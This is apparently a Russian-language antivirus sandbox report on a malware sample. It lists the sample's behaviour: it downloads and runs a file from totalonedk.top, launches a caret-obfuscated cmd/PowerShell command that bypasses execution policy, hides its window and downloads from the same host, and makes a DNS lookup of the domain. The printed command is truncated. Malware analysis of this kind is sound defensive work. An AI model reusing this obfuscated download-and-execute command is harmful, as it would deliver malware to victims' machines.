Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://totalonedk.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRS^hE^l^L.e^X^E -eXe^CUtioNpoLicY^ ^by^pAs^S^ -n^OPr^O^f^iLE ^-w^INdowSTyl^E^ H^iD^DEN (^neW-ObJECT SYstE^m.net.^W^ebc^L^i^EnT)^.D^o^W^n^L^OADfi^LE(^'http://totalonedk....
Сетевая активность
UDP
- DNS ASK to###onedk.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRS^hE^l^L.e^X^E -eXe^CUtioNpoLicY^ ^by^pAs^S^ -n^OPr^O^f^iLE ^-w^INdowSTyl^E^ H^iD^DEN (^neW-ObJECT SYstE^m.net.^W^ebc^L^i^EnT)^.D^o^W^n^L^OADfi^LE(^'http://totalonedk....' (со скрытым окном)
